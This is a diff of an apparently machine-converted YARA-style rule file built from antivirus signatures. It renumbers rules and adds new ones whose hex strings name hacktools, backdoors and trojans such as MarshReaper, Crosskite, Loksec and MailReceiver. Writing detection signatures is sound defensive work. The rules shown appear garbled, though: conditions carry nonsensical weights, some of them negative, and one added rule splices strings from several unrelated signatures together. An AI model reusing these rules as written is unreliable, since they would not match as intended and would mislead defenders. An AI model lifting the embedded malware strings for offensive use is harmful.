meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -230183,7 +244747,7 @@ rule _InfrastructureShared_18843{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28672+(#a_19_2 & 1)*25976+(#a_00_3 & 1)*144+(#a_70_4 & 1)*29549+(#a_44_5 & 1)*17234+(#a_34_6 & 1)*-29948+(#a_15_7 & 1)*20740) >=2 } -rule _InfrastructureShared_18844{ +rule _InfrastructureShared_20026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -230200,7 +244764,7 @@ rule _InfrastructureShared_18844{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*-29949+(#a_90_2 & 1)*-29871+(#a_04_3 & 1)*-28440+(#a_00_4 & 1)*4292+(#a_90_5 & 1)*776+(#a_6e_6 & 1)*26996+(#a_41_7 & 1)*11568) >=4 } -rule _InfrastructureShared_18845{ +rule _InfrastructureShared_20027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -230213,7 +244777,7 @@ rule _InfrastructureShared_18845{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29285+(#a_09_2 & 1)*31277+(#a_41_3 & 1)*11617) >=5 } -rule _InfrastructureShared_18846{ +rule _InfrastructureShared_20028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -230225,7 +244789,7 @@ rule _InfrastructureShared_18846{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*72+(#a_00_4 & 1)*81) >=5 } -rule _InfrastructureShared_18847{ +rule _InfrastructureShared_20029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -230239,7 +244803,7 @@ rule _InfrastructureShared_18847{ ((#a_54_0 & 1)*18467+(#a_13_1 & 1)*3345+(#a_00_2 & 1)*53+(#a_00_3 & 1)*51+(#a_00_4 & 1)*48) >=5 } -rule _InfrastructureShared_18848{ +rule _InfrastructureShared_20030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0a 00 21 " @@ -230258,7 +244822,7 @@ rule _InfrastructureShared_18848{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*281+(#a_02_2 & 1)*1+(#a_02_3 & 1)*1+(#a_02_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_81_9 & 1)*1) >=5 } -rule _InfrastructureShared_18849{ +rule _InfrastructureShared_20031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -230270,7 +244834,7 @@ rule _InfrastructureShared_18849{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*1280+(#a_00_4 & 1)*0) >=7 } -rule _InfrastructureShared_18850{ +rule _InfrastructureShared_20032{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -230284,7 +244848,7 @@ rule _InfrastructureShared_18850{ ((#a_4c_0 & 1)*21539+(#a_42_1 & 1)*24933+(#a_00_3 & 1)*4864+(#a_00_4 & 1)*101+(#a_48_7 & 1)*8448) >=8 } -rule _InfrastructureShared_18851{ +rule _InfrastructureShared_20033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 08 00 21 " @@ -230300,7 +244864,7 @@ rule _InfrastructureShared_18851{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*18804+(#a_73_2 & 1)*18734+(#a_74_3 & 1)*0+(#a_00_4 & 1)*626+(#a_90_6 & 1)*5898+(#a_74_7 & 1)*28499) >=9 } -rule _InfrastructureShared_18852{ +rule _InfrastructureShared_20034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -230317,7 +244881,7 @@ rule _InfrastructureShared_18852{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25960+(#a_34_2 & 1)*29541+(#a_64_3 & 1)*9587+(#a_79_4 & 1)*28769+(#a_65_5 & 1)*279+(#a_00_7 & 1)*116+(#a_00_9 & 1)*105) >=10 } -rule _InfrastructureShared_18853{ +rule _InfrastructureShared_20035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 06 00 21 " @@ -230330,7 +244894,7 @@ rule _InfrastructureShared_18853{ ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*28516+(#a_00_2 & 1)*101+(#a_00_4 & 1)*105) >=12 } -rule _InfrastructureShared_18854{ +rule _InfrastructureShared_20036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -230351,7 +244915,7 @@ rule _InfrastructureShared_18854{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*29285+(#a_68_3 & 1)*23553+(#a_79_4 & 1)*26988+(#a_6c_5 & 1)*26625+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1) >=13 } -rule _InfrastructureShared_18855{ +rule _InfrastructureShared_20037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -230373,7 +244937,7 @@ rule _InfrastructureShared_18855{ ((#a_54_0 & 1)*18467+(#a_47_1 & 1)*29300+(#a_63_2 & 1)*27234+(#a_74_3 & 1)*22373+(#a_41_4 & 1)*8448+(#a_69_5 & 1)*25449+(#a_61_6 & 1)*29251+(#a_01_7 & 1)*-28492+(#a_90_8 & 1)*11216+(#a_90_9 & 1)*16386+(#a_90_11 & 1)*16386+(#a_00_12 & 1)*11529+(#a_01_13 & 1)*-28418) >=14 } -rule _InfrastructureShared_18856{ +rule _InfrastructureShared_20038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,18 00 17 00 07 00 21 " @@ -230389,7 +244953,7 @@ rule _InfrastructureShared_18856{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*100+(#a_01_2 & 1)*-7808+(#a_90_3 & 1)*1282+(#a_06_4 & 1)*815+(#a_02_5 & 1)*8960+(#a_06_6 & 1)*815) >=23 } -rule _InfrastructureShared_18857{ +rule _InfrastructureShared_20039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -230404,7 +244968,7 @@ rule _InfrastructureShared_18857{ ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*2563+(#a_23_3 & 1)*16386+(#a_03_4 & 1)*-28543+(#a_58_5 & 1)*1792+(#a_23_6 & 1)*16386) >=1 } -rule _InfrastructureShared_18858{ +rule _InfrastructureShared_20040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -230415,7 +244979,20 @@ rule _InfrastructureShared_18858{ ((#a_46_0 & 1)*16675+(#a_84_2 & 1)*26112) >=2 } -rule _InfrastructureShared_18859{ +rule _InfrastructureShared_20041{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 4d 61 72 73 68 52 65 61 70 65 72 2e 43 21 64 68 61 00 01 00 42 01 5b 00 58 00 5d 00 20 00 43 00 61 00 6e 00 6e 00 6f 00 74 00 20 00 67 00 65 00 74 00 20 00 54 00 42 00 52 00 45 00 53 00 } //16675 + $a_00_1 = {69 00 6c 00 65 00 73 00 20 00 75 00 6e 00 64 00 65 00 72 00 20 00 01 00 52 01 5b 00 58 00 5d 00 20 00 55 00 6e 00 72 00 65 00 63 00 6f 00 67 00 6e 00 69 00 7a 00 65 00 64 00 20 00 62 00 6c 00 6f 00 62 00 20 00 74 00 79 00 70 00 65 00 20 00 69 00 6e 00 20 00 54 00 42 00 52 00 45 00 53 00 20 00 66 00 69 00 } //32 + $a_00_2 = {20 00 01 00 3a 01 5b 00 2a 00 5d 00 20 00 4e 00 65 00 77 00 20 00 74 00 6f 00 6b 00 65 00 6e 00 20 00 63 00 61 00 63 00 68 00 65 00 20 00 66 00 6f 00 75 00 6e 00 64 00 20 00 69 00 6e 00 20 00 01 00 40 01 5b 00 58 00 5d 00 20 00 43 00 61 00 6e 00 6e 00 6f 00 74 00 20 00 64 00 65 00 63 00 72 00 79 00 70 } //108 + $a_00_4 = {52 00 45 00 53 00 20 00 66 00 69 00 6c 00 65 00 73 00 2e 00 20 00 01 00 36 01 5b 00 21 00 5d 00 20 00 4e 00 6f 00 20 00 50 00 52 00 54 00 20 00 63 00 6f 00 6f 00 6b 00 69 00 65 00 20 00 65 00 78 00 } //84 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32+(#a_00_2 & 1)*108+(#a_00_4 & 1)*84) >=3 + +} +rule _InfrastructureShared_20042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0b 00 21 " @@ -230433,7 +245010,7 @@ rule _InfrastructureShared_18859{ ((#a_46_0 & 1)*16675+(#a_4b_1 & 1)*26434+(#a_6e_2 & 1)*5120+(#a_90_3 & 1)*25427+(#a_2c_4 & 1)*28009+(#a_43_6 & 1)*6912+(#a_20_7 & 1)*28526+(#a_00_9 & 1)*115+(#a_00_10 & 1)*69) >=3 } -rule _InfrastructureShared_18860{ +rule _InfrastructureShared_20043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -230445,7 +245022,7 @@ rule _InfrastructureShared_18860{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*120+(#a_00_3 & 1)*112) >=4 } -rule _InfrastructureShared_18861{ +rule _InfrastructureShared_20044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -230459,7 +245036,7 @@ rule _InfrastructureShared_18861{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*69+(#a_01_2 & 1)*-28672+(#a_63_3 & 1)*25924+(#a_09_4 & 1)*6544) >=5 } -rule _InfrastructureShared_18862{ +rule _InfrastructureShared_20045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -230473,7 +245050,30 @@ rule _InfrastructureShared_18862{ ((#a_54_0 & 1)*18467+(#a_3b_1 & 1)*12859+(#a_3b_2 & 1)*15153+(#a_36_3 & 1)*23099+(#a_3b_4 & 1)*14139) >=5 } -rule _InfrastructureShared_18863{ +rule _InfrastructureShared_20046{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 10 00 21 " + + strings : + $a_46_0 = {45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 43 72 6f 73 73 6b 69 74 65 2e 41 21 64 68 61 00 01 00 13 01 66 65 74 63 68 70 72 6f 67 72 61 6d 76 65 72 73 69 6f 6e 01 00 0c 01 66 65 74 63 68 70 72 6f 63 65 73 73 01 00 0b } //16675 + $a_74_1 = {68 6f 73 69 6e 66 6f 01 00 0c 01 66 65 74 63 68 6e 65 74 69 6e 66 6f 01 00 10 01 66 65 74 63 68 76 61 63 63 69 6e 65 69 6e 66 6f 01 00 0f 01 66 65 74 63 68 66 69 6c 65 73 79 73 74 65 6d 01 00 11 01 66 65 74 63 68 68 61 72 64 77 61 72 65 69 6e 66 6f 01 00 10 01 66 65 74 63 68 74 72 61 66 66 69 63 69 6e } //26113 + $a_00_2 = {0d } //28518 + $a_72_3 = {65 6e 63 61 70 74 75 72 65 01 00 0b 01 72 65 6d 6f 76 65 5f 54 61 73 6b 01 00 13 01 64 69 72 65 63 74 6f 72 79 53 65 61 72 63 68 49 6e 66 6f 02 00 0f 01 7b 22 73 79 6e 63 69 6e 66 6f 22 3a 22 22 7d 02 00 13 01 5c 5c 2e 5c 70 69 70 65 5c 6d 6f 6a 6f 2e 39 30 39 30 38 02 00 1c 01 44 00 72 00 6f 00 } //29441 + $a_00_4 = {65 00 72 00 55 00 70 00 64 00 61 00 74 00 65 00 72 00 01 00 1c 01 45 72 72 6f 72 20 72 65 74 72 69 65 76 69 6e 67 20 4d 41 43 20 61 64 64 72 65 73 73 01 00 1b 01 45 72 72 6f 72 20 63 61 6c 63 75 6c 61 74 69 6e 67 20 62 6f 6f 74 20 74 69 6d 65 00 00 78 86 01 00 0e 00 0e 00 0e 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f } //112 + $a_6e_5 = {54 65 73 6c 61 2e 50 4b 41 45 31 32 34 21 4d 54 42 00 01 00 0a 81 01 55 59 52 30 30 31 30 34 35 37 01 00 2b 81 01 46 69 63 74 69 6f 6e 61 6c 52 65 74 61 69 6c 2e 43 72 6d 2e 43 6c 69 65 6e 74 2e 43 6c 61 73 73 31 2e 72 65 73 6f 75 72 63 65 73 01 00 29 81 01 46 69 63 74 69 6f 6e 61 6c 52 65 74 61 69 6c } //26433 + $a_6d_6 = {43 6c 69 65 6e 74 2e 48 65 6c 70 2e 72 65 73 6f 75 72 63 65 73 01 00 39 81 01 46 69 63 74 69 6f 6e 61 6c 52 65 74 61 69 6c 2e 43 72 6d 2e 43 6c 69 65 6e 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 09 81 01 42 6c 6f 63 6b 43 6f 70 79 01 00 08 81 01 45 6e 63 6f 64 69 6e 67 01 00 0e 81 } //17198 + $a_65_7 = {74 65 49 6e 73 74 61 6e 63 65 01 00 07 81 01 52 65 70 6c 61 63 65 01 00 07 81 01 54 6f 41 72 72 61 79 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 08 81 01 47 65 74 50 69 78 65 6c 01 00 0d 81 01 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 01 00 25 81 01 24 36 65 65 65 32 38 33 32 2d 65 66 63 36 2d 34 66 30 } //17153 + $a_37_8 = {37 2d 61 64 64 38 66 33 62 38 63 32 33 64 00 00 78 86 01 00 15 00 15 00 0c 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 6f 6b 73 65 63 2e 42 00 15 00 19 01 4c 6f 6f 6b 75 70 53 76 69 2e 65 78 65 00 41 65 4c 6f 6f 6b 75 70 53 76 69 15 00 19 01 5c 41 65 4c 6f 6f 6b 75 70 53 } //11570 + $a_41_9 = {4c 6f 6f 6b 75 70 53 76 69 5c 15 00 11 01 68 64 64 65 66 72 2e 65 78 65 00 68 64 64 65 66 72 15 00 15 01 4d 61 53 63 68 69 6d 62 2e 65 78 65 00 4d 61 53 63 68 69 6d 62 15 00 2d 01 42 72 6f 6b 65 72 49 6e 66 72 61 73 74 72 75 63 74 75 72 65 2e 65 78 65 00 42 72 6f 6b 65 72 49 } //26998 + $a_61_10 = {74 72 75 63 74 75 72 65 15 00 13 01 43 6c 61 73 73 31 00 41 65 4c 6f 6f 6b 75 70 53 76 69 00 15 00 10 01 41 65 4c 6f 6f 6b 75 70 53 76 69 2e 65 78 65 00 15 00 13 01 5c 4d 61 53 63 68 69 6d 62 5c 4d 61 53 63 68 69 6d 62 5c 14 00 2b 02 25 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 25 00 90 02 30 6d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 } //26222 + $a_00_12 = {18 } //144 + $a_00_14 = {64 00 72 00 76 00 2e 00 65 00 78 00 65 00 00 00 01 00 1a 00 5c 00 70 00 72 00 6f 00 66 00 73 00 76 00 63 00 2e 00 65 00 78 00 65 00 00 00 01 00 1a 00 5c 00 61 00 74 00 69 00 65 00 73 00 72 00 78 00 2e 00 65 00 78 00 65 00 00 00 00 00 78 86 01 00 2c 01 2c 01 03 00 21 23 41 4c 46 50 45 52 3a 48 61 } //101 + $a_6f_15 = {6c 3a 57 69 6e 36 34 2f 44 6f 6f 72 4b 6e 6f 63 6b 2e 41 21 64 68 61 00 64 00 86 01 2d 00 69 00 20 00 20 00 20 00 20 00 20 00 69 00 6e 00 70 00 75 00 74 00 20 00 69 00 70 00 20 00 72 00 61 00 6e 00 67 00 65 00 20 00 74 00 6f 00 20 00 73 00 63 00 61 00 } //27491 + condition: + ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*26113+(#a_00_2 & 1)*28518+(#a_72_3 & 1)*29441+(#a_00_4 & 1)*112+(#a_6e_5 & 1)*26433+(#a_6d_6 & 1)*17198+(#a_65_7 & 1)*17153+(#a_37_8 & 1)*11570+(#a_41_9 & 1)*26998+(#a_61_10 & 1)*26222+(#a_00_12 & 1)*144+(#a_00_14 & 1)*101+(#a_6f_15 & 1)*27491) >=8 + +} +rule _InfrastructureShared_20047{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -230494,7 +245094,7 @@ rule _InfrastructureShared_18863{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*27715+(#a_52_2 & 1)*29541+(#a_43_3 & 1)*-32498+(#a_49_4 & 1)*29793+(#a_63_5 & 1)*25901+(#a_53_6 & 1)*30059+(#a_61_7 & 1)*17153+(#a_00_9 & 1)*101+(#a_6f_10 & 1)*27491+(#a_00_11 & 1)*110+(#a_00_12 & 1)*53) >=14 } -rule _InfrastructureShared_18864{ +rule _InfrastructureShared_20048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 0c 00 21 " @@ -230513,7 +245113,7 @@ rule _InfrastructureShared_18864{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*26625+(#a_6b_2 & 1)*28492+(#a_00_3 & 1)*118+(#a_00_4 & 1)*116+(#a_00_6 & 1)*110+(#a_00_8 & 1)*32+(#a_00_9 & 1)*97+(#a_00_10 & 1)*104+(#a_90_11 & 1)*-31802) >=21 } -rule _InfrastructureShared_18865{ +rule _InfrastructureShared_20049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -230524,7 +245124,7 @@ rule _InfrastructureShared_18865{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*103) >=300 } -rule _InfrastructureShared_18866{ +rule _InfrastructureShared_20050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 14 00 21 " @@ -230550,7 +245150,7 @@ rule _InfrastructureShared_18866{ ((#a_46_0 & 1)*16675+(#a_4f_1 & 1)*-14662+(#a_4f_2 & 1)*21197+(#a_4f_3 & 1)*21227+(#a_2d_4 & 1)*11580+(#a_36_5 & 1)*14390+(#a_46_6 & 1)*11589+(#a_2d_7 & 1)*13869+(#a_3c_8 & 1)*15405+(#a_48_9 & 1)*8448+(#a_00_11 & 1)*105+(#a_72_12 & 1)*27491+(#a_65_14 & 1)*26989+(#a_00_16 & 1)*1+(#a_3a_17 & 1)*24938+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1) >=3 } -rule _InfrastructureShared_18867{ +rule _InfrastructureShared_20051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -230564,7 +245164,7 @@ rule _InfrastructureShared_18867{ ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*12333+(#a_43_2 & 1)*11569+(#a_36_3 & 1)*12598+(#a_34_4 & 1)*11568) >=5 } -rule _InfrastructureShared_18868{ +rule _InfrastructureShared_20052{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -230584,7 +245184,7 @@ rule _InfrastructureShared_18868{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*17005+(#a_6d_2 & 1)*18177+(#a_72_3 & 1)*28531+(#a_74_4 & 1)*25959+(#a_00_5 & 1)*116+(#a_66_6 & 1)*13876+(#a_6f_7 & 1)*20526+(#a_54_8 & 1)*21294+(#a_65_9 & 1)*29301+(#a_20_10 & 1)*29801) >=11 } -rule _InfrastructureShared_18869{ +rule _InfrastructureShared_20053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -230604,7 +245204,7 @@ rule _InfrastructureShared_18869{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*49+(#a_00_3 & 1)*112+(#a_39_4 & 1)*25913+(#a_69_5 & 1)*25973+(#a_87_6 & 1)*0+(#a_2e_7 & 1)*25955+(#a_6f_8 & 1)*29295+(#a_6a_9 & 1)*20993+(#a_69_10 & 1)*24948+(#a_72_12 & 1)*21504) >=14 } -rule _InfrastructureShared_18870{ +rule _InfrastructureShared_20054{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0b 00 21 " @@ -230622,7 +245222,7 @@ rule _InfrastructureShared_18870{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*27765+(#a_5c_2 & 1)*25956+(#a_01_3 & 1)*3072+(#a_6e_4 & 1)*26996+(#a_65_5 & 1)*26950+(#a_00_7 & 1)*115+(#a_6f_8 & 1)*21562+(#a_01_10 & 1)*1) >=15 } -rule _InfrastructureShared_18871{ +rule _InfrastructureShared_20055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff82 00 ffffff82 00 10 00 21 " @@ -230646,7 +245246,7 @@ rule _InfrastructureShared_18871{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*29811+(#a_64_2 & 1)*25938+(#a_00_3 & 1)*116+(#a_00_4 & 1)*100+(#a_67_5 & 1)*29268+(#a_00_6 & 1)*45+(#a_5b_7 & 1)*15360+(#a_00_9 & 1)*67+(#a_46_10 & 1)*19969+(#a_30_11 & 1)*17206+(#a_38_12 & 1)*11568+(#a_00_13 & 1)*12336+(#a_37_14 & 1)*11521+(#a_37_15 & 1)*12336) >=130 } -rule _InfrastructureShared_18872{ +rule _InfrastructureShared_20056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -230659,7 +245259,7 @@ rule _InfrastructureShared_18872{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*58+(#a_00_2 & 1)*73+(#a_00_4 & 1)*97) >=4 } -rule _InfrastructureShared_18873{ +rule _InfrastructureShared_20057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -230673,7 +245273,7 @@ rule _InfrastructureShared_18873{ ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*12333+(#a_30_2 & 1)*12336+(#a_30_3 & 1)*11569+(#a_01_4 & 1)*12855) >=4 } -rule _InfrastructureShared_18874{ +rule _InfrastructureShared_20058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -230686,7 +245286,7 @@ rule _InfrastructureShared_18874{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*16762+(#a_68_3 & 1)*11520+(#a_73_4 & 1)*12079) >=5 } -rule _InfrastructureShared_18875{ +rule _InfrastructureShared_20059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -230698,7 +245298,7 @@ rule _InfrastructureShared_18875{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*70+(#a_00_3 & 1)*43) >=5 } -rule _InfrastructureShared_18876{ +rule _InfrastructureShared_20060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -230713,7 +245313,7 @@ rule _InfrastructureShared_18876{ ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*-5184+(#a_14_2 & 1)*17547+(#a_7c_3 & 1)*32704+(#a_e4_4 & 1)*-176+(#a_70_5 & 1)*-27232) >=5 } -rule _InfrastructureShared_18877{ +rule _InfrastructureShared_20061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -230728,7 +245328,7 @@ rule _InfrastructureShared_18877{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*5643+(#a_28_2 & 1)*7941+(#a_13_3 & 1)*-508+(#a_01_4 & 1)*-20878+(#a_65_5 & 1)*29301) >=6 } -rule _InfrastructureShared_18878{ +rule _InfrastructureShared_20062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -230743,7 +245343,7 @@ rule _InfrastructureShared_18878{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*25963+(#a_62_3 & 1)*21340+(#a_01_4 & 1)*27748+(#a_42_5 & 1)*13635+(#a_42_7 & 1)*12545) >=8 } -rule _InfrastructureShared_18879{ +rule _InfrastructureShared_20063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -230763,7 +245363,7 @@ rule _InfrastructureShared_18879{ ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*13619+(#a_32_2 & 1)*17972+(#a_36_3 & 1)*29537+(#a_00_4 & 1)*101+(#a_4c_5 & 1)*21325+(#a_6e_6 & 1)*29550+(#a_54_7 & 1)*25956+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1) >=11 } -rule _InfrastructureShared_18880{ +rule _InfrastructureShared_20064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -230785,7 +245385,7 @@ rule _InfrastructureShared_18880{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28524+(#a_6f_2 & 1)*385+(#a_51_3 & 1)*-32497+(#a_6e_4 & 1)*31090+(#a_62_5 & 1)*25904+(#a_67_6 & 1)*26980+(#a_34_7 & 1)*13124+(#a_33_8 & 1)*14128+(#a_40_9 & 1)*26688+(#a_65_10 & 1)*24941+(#a_11_11 & 1)*400+(#a_01_12 & 1)*28417) >=13 } -rule _InfrastructureShared_18881{ +rule _InfrastructureShared_20065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1f 00 1f 00 0c 00 21 " @@ -230805,7 +245405,7 @@ rule _InfrastructureShared_18881{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*28265+(#a_02_2 & 1)*17970+(#a_40_4 & 1)*6144+(#a_20_5 & 1)*25959+(#a_01_6 & 1)*-28655+(#a_6f_7 & 1)*400+(#a_5b_8 & 1)*2563+(#a_00_9 & 1)*400+(#a_90_10 & 1)*1027+(#a_00_11 & 1)*4352) >=31 } -rule _InfrastructureShared_18882{ +rule _InfrastructureShared_20066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -230816,7 +245416,7 @@ rule _InfrastructureShared_18882{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*-28561) >=2 } -rule _InfrastructureShared_18883{ +rule _InfrastructureShared_20067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -230826,7 +245426,19 @@ rule _InfrastructureShared_18883{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_18884{ +rule _InfrastructureShared_20068{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 4d 61 69 6c 52 65 63 65 69 76 65 72 2e 42 00 01 00 54 01 53 00 61 00 76 00 65 00 4d 00 61 00 69 00 6c 00 20 00 65 00 72 00 72 00 6f 00 72 00 3a 00 20 00 34 00 30 00 31 00 20 00 55 00 6e } //16675 + $a_00_2 = {6f 00 72 00 69 00 7a 00 65 00 64 00 20 00 52 00 65 00 4c 00 6f 00 67 00 69 00 6e 00 0d 00 0a 00 01 00 28 01 46 00 65 00 74 00 63 00 68 00 20 00 6d 00 61 00 69 00 6c 00 73 00 20 00 45 00 72 00 72 00 6f 00 72 00 3a 00 0d 00 0a 00 01 00 a0 01 4c 00 6f 00 67 00 69 00 6e 00 20 00 75 00 73 00 69 00 6e 00 67 00 20 00 } //116 + $a_00_3 = {72 00 74 00 69 00 66 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 20 00 65 00 72 00 72 00 6f 00 72 00 2e 00 20 00 6d 00 61 00 79 00 62 00 65 00 20 00 73 00 79 00 73 00 74 00 65 00 6d 00 20 00 74 00 69 00 6d 00 65 00 20 00 69 00 73 00 20 00 77 00 72 00 6f 00 6e 00 67 00 2e 00 20 00 41 00 64 00 6a 00 75 } //99 + condition: + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*116+(#a_00_3 & 1)*99) >=2 + +} +rule _InfrastructureShared_20069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -230838,7 +245450,21 @@ rule _InfrastructureShared_18884{ ((#a_77_0 & 